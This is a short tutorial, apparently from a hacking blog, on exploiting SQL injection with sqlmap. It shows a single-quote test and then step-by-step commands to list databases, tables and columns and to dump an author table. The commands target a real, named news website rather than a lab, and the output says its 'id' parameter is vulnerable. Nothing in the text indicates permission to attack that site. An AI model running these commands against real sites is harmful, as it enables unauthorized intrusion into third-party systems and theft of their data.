SQLMAP Tutorial for Sql injection
SQLMAP is the kali linux tool for exploiting sql injection vulnerability in the websites.
Sqlmap can exploit both get method websites & post method websites. To exploit the websites using sqlmap websites should be vulnerable to sql injection.
Video Tutorial for sql injection :
sql injection complete tutorial, error based sql injection, Double query sql injection, Union Sql injection, sqlmap complete commands, admin login bypass, boolean based sql injection, time based sql injection, blind sql injection, sqlmap complete tutorial cheat sheet, sqlmap tool tutorial.
SQLMAP is the kali linux tool for exploiting sql injection vulnerability in the websites.
Sqlmap can exploit both get method websites & post method websites. To exploit the websites using sqlmap websites should be vulnerable to sql injection.
Vulnerable Urls
Lets say there is a web application or website that has a url in it like this
www.site.com/index.php?id=22
To check above get method url we put single quote on id parameter.
www.site.com/index.php?id=22'
To check the vulnerability, put single quote in the parameter. If this throws an error or reacts in an unexpected scenario. So in this case this website is vulnerable to sql injection.
Step 1: check help section of sqlmap tool
root@kali:~# sqlmap -h
Step 2: fetching the databases of the website
root@kali:~# sqlmap -u http://www.dailypakistan.pk/e-paper/newsdetail.php?id=9 --dbs
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
Step 2: Fetch the Table Names
root@kali:~# sqlmap -u http://www.dailypakistan.pk/e-paper/newsdetail.php?id=9 -D dailypak_dailypak --tables
Step 3 : Fetch the columns name
root@kali:~# sqlmap -u http://www.dailypakistan.pk/e-paper/newsdetail.php?id=9 -D dailypak_dailypak -T author --columns
step 4: Fetch the Data
root@kali:~# sqlmap -u http://www.dailypakistan.pk/e-paper/newsdetail.php?id=9 -D dailypak_dailypak -T author -C author_id,author_name,author_name_image --dump
Video Tutorial for sql injection :